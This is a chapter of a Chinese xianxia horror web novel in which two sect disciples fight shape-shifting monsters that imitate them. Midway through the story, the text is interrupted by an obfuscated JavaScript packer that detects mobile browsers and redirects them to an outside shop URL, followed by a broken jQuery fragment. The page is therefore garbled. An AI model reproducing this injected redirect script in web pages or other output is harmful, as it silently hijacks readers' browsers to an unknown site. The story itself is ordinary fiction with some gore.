文趣网 > 其他小说 > 废柴咸鱼也能飞升? > 3. 见鬼了
    夜晚温度骤降,山中树影陡然被拔高,影影绰绰。夜风吹过仿佛野鬼嚎哭。

    云翳将月色吞噬殆尽,那条弯曲的山路变得不甚明晰。

    宣期和林承声乘夜色,摸上宁平村的后山。

    村庄的后山其实就是一个小山丘,远远看去就像是长满青苔的巨大龟壳。

    两人一前一后顺着山路向上爬。

    宣期低着头,漆黑如墨的夜色不断放大她内心的恐惧。

    她紧紧贴在林承声身后,脚边不断擦过婆娑树影。

    “师兄……等等,等等我。”宣期缀在林承声身后,亦步亦趋地追赶面前的人。

    她平日疏于锻炼,刚爬上半坡就气喘如牛。

    走在前面的林承声听到宣期的请求,脚下的步伐不自觉加快。

    听着身后的响亮的喘息声,他心中无端生起一丝烦闷。

    其实他并不喜欢宣期这位师妹,愚蠢且不自知。

    人人都看不起宣期,林承声就是其中一个。

    大师兄更是让他带着宣期出来执行任务,他更无法接受。

    一想到这些,烦闷不断翻涌,脚下的步伐肉眼可见的加快。

    走得快些,再快些……

    脚步不断加快,直到他听不到宣期喘气的声音。

    身边骤然少了一个人,耳边的风声流动,就像是山林在呼吸。

    微凉的山风裹着泥沙拍在他的脸上,细密的痛感让他心头的烦闷小三阳些许。

    他转头望向背后黑洞洞的山路,背后早就没有了宣期的身影。

    ——“想必以师弟的实力一定能带着师妹轻松完成。”

    大师兄的叮嘱言犹在耳。

    林承声懊恼地猛捶自己脑袋,就算再怎么说,宣期都是大师兄交付的人,他怎么可以将人丢下。

    他打定主意原路返回时。

    山坡上的野草窸窸窣窣地狂响,一颗脑袋从草丛里冒了出来。

    借着昏暗的夜色,林承声只能看清宣期绑着绿色发带的高马尾。

    那颗脑袋垂在胸口,颇为幽怨的声音响起:“师兄,你走得好快——”

    林承声像是个锯嘴葫芦,那句“对不起”哽在喉间。最后他沉默地向宣期伸出手。

    面前的宣期喘着粗气,垂着脑袋直接无视林承声伸出的手。

    见宣期这般不领情,他冷哼一声,将手收回,心中暗骂:真是好心当成驴肝肺!

    那点子莫名的愧疚直接被抛到九霄云外,他在心中暗暗发誓,定要让宣期开口求他帮忙,最好是痛哭流涕的那种。

    心中这般想着,宣期幽怨的声音传来:“师兄,我好痛,刚刚摔了一跤,把脖子摔断了,你帮帮我好吗?”

    头顶阴翳散去,月光破云而出,这时林承声才看清面前的宣期并非低着头。

    而是脖颈从中间被折断,头颅没了脊柱支撑,只能软软地垂在胸口前。

    断裂的颈椎将脖颈的皮肤撑起,形状像是尖头屋顶一般。

    “师兄,我好痛,帮帮我。”

    “宣期”用手撑住脑袋,再次重复道。

    漆黑的林间闪过一抹寒芒,长剑出鞘时发出嗡嗡的铮鸣,无咎落于黑夜之中,杀意毕露。

    林承声手执无咎,剑尖直指“宣期”,大声喝道:“我帮你去死!”

    ……

    与此同时,另一边。

    宣期费了好大力气才追上林承声。

    体力透支后,胸口像是破了个洞,肺部的泥沙堆积在胸口,憋闷地堆积在胸口,又痛又闷。

    爬上坡后看到林承声扬着脑袋,背对着她站在山坡上的一处空地上。

    看到这个背影,气就不打一处来。

    她故意将脚步踩得又重又响,脚下树枝断裂的声响此起彼伏,可面前的林承声依旧不为所动。

    一瞬间悚然感爬满宣期全身,她下意识将脚步放轻,林承声才缓缓将脑袋低下。

    面前的人正回脑袋,骨骼发出“咔咔”的轻响。

    宣期咽下口水,呆呆站在原地,不敢靠近分毫。

    宣期再蠢都知晓面前这个林承声安静得诡异,换做平常林承声骂她两句,她都可能笑着走上去。

    她拖着两条发软的腿向后撤,刚撤出几步,“林承声”蓦然转过脑袋,冲宣期露出一个笑容。

    借着月光,宣期清楚地看到他的嘴角咧到耳后,将整个牙床暴露在空气中,胸前的衣襟消失得无影无踪:“师妹,我等你好久了。”

    宣期视线下移,林承声的脚跟朝向自己二话没说,直接拔腿就跑。

    她朝着树林狂奔而去,身后的“林承声”迈步追赶而上。

    宣期回头瞧见林承声转过身体,后脑当作头面,用一种手脚并用的诡异姿态奔跑。

    但是宣期敏锐察觉他她们之间的差距在不断缩小,而且她的速度越来越慢了。

    之前耗费太多体力,如今在速度上完全没有与之匹敌的能力。

    眼看“林承声”越来越近,宣期瞥见他朝前的后脑,急中生智,直接闪身蹲下。

    “林承声”径直掠过地上的宣期,朝前奔去,脚步声越来越远。

    宣期长松一口气,但是须臾间,脚步声又重新响起。

    她和“林承声”视线相对。

    那鬼东西双腿向后蹬,整个身体居然倒着朝她奔来。

    啊啊啊啊啊啊啊!!

    什么鬼东西!好恶心!

    宣期内心疯狂尖叫,双腿完全不受控制,瘫软在地上。

    前十几年年的悲惨经历,像是走马灯一样在面前闪过。最后定格在一张中年女人的脸上。

    她面容慈祥,但眉宇间总是萦绕着挥之不去的病气。

    或许也挺好。

    “林承声”冲到她面前,面目狰狞地朝宣期飞扑而来。

    宣期死死闭上眼,想象中的疼痛并没有到来。

    她眯出一条缝,两个林承声站在面前,其中一个手执一柄通体漆黑的长剑,将另外一个林承声的胸口捅了个对穿。

    林承声脸上杀意尚未褪去,像是刚从阿鼻地狱经过厮杀爬上来的恶鬼。

    “林承声”胸口处炸开一朵血花,真正的林承声面露嫌弃地盯着剑身上粘腻的血浆。他蹲下身,伸手从假扮他的怪物身上撕下一块布料。

    他用这块布料擦去剑身上的血,随后看向瘫倒在地上的宣期,目光中的恶意几乎毫不掩饰,他嫌弃道:“废物,居然连这种东西都打不过。”

    宣期望着头顶犹如神兵般的人,身体浑身血液重新流动起来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680957|207691||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “师兄——谢谢你。”

    宣期早就将之前林承声将她丢下的事情抛到脑后,冲着她的救命恩人——林承声露出一个充满感恩的标准笑容。

    林承声愣怔一瞬,在他眼里这是一个蠢到极点的笑。

    他心头微动,旋即举起无咎大喊:“你难不成被夺舍了?”

    宣期:“……”

    ……

    宣期和林承声准备将那两具伪装成两人的怪物尸体装进芥子袋,准备带回宗门交差。

    两人站在尸体旁,腥臭粘腻的血浆沿着土壤纹理蔓延。

    宣期两手一揣,坐等林承声收尸。

    林承声八风不动,宣期朝他投去疑惑的目光。他轻轻挪开视线,装作视而不见。

    宣期又换个方向和林承声对视,再次被对方轻描淡写地避开。

    最终宣期指着地上的尸体,朗声道:“师兄,收尸。”

    “我不要。”林承声撇过脸说道,顺手捂住腰间的芥子袋,“好脏,不想装进芥子袋。”

    宣期有一瞬的无语凝噎,她目光飞快从林承声那纯白仙鹤纹绣的芥子袋上掠过,上面仙鹤栩栩如生,向她这种不懂欣赏的人都看出其中的功夫。

    像是认命一般,她掏出宗门统一下发的蓝白芥子袋,将那两个怪物尸体收入囊中。

    宣期收到和她面容相同的怪物时,蹲在面前对着它默默拜了三下。

    ——真惨,头都掉了。

    将两具尸体妥善处理好,清晨第一缕熹微晨光落在尚有血色的瞳孔之中,天光大亮,将两位疲于奔命的劳碌者从夜色中解放出来。

    宣期拖着疲惫的步伐下了山。

    等候已久的村长激动地握住林承声的手,当场就要给他跪下。被林承声和宣期给拦下来了。

    “使不得,您是长辈,不能给我们这些小辈下跪。”林承声连忙道。

    “妖魔出世,大伙当真苦不堪言。除了我这把老骨头,也不知道该如何回报二位仙长。”

    一旁的村民学着村长的模样,哗啦啦跪倒一片。

    宣期从来没受过那么重的礼,她站在原地惶恐不安,膝盖伸直又弯曲。

    反观林承声镇定自若,他将村长搀扶起来,语重心长道:“这本身就是我们该做的,您也不必有太大的负担,我们归墟宗定会保护下界安全,让大家不受妖魔所害。”

    村长听了这番话简直老泪纵横,眼角隐隐挂着一抹泪花。

    在村长抬手抹去的瞬间,村长瞳孔迅速分裂出另外一个瞳孔。手掌落下的瞬间,分裂出的瞳孔瞬间消失。

    在场所有人都未察觉。

    宣期简直瞠目结舌,林承声这番做派大家子弟风范十足,宠辱不惊,泰山崩于前而面不改色。

    宗门里只有自己是废物啊。

    “那我们也没有什么能报答的,恳请仙长留宿一晚,明日全村设宴,好生招待二位仙长。”

    二人在村民盛情邀请之下,最终还是将回宗时间推迟。

    宣期躺在炕上用手枕着脑袋,眼睛睁得溜圆,眼中无丝毫睡意。

    隐约之间,宣期似乎理解大师兄为何执意让她接下任务。

    昨天一夜,足以覆盖她九年的修仙生涯。

    怎么说都是她赚了。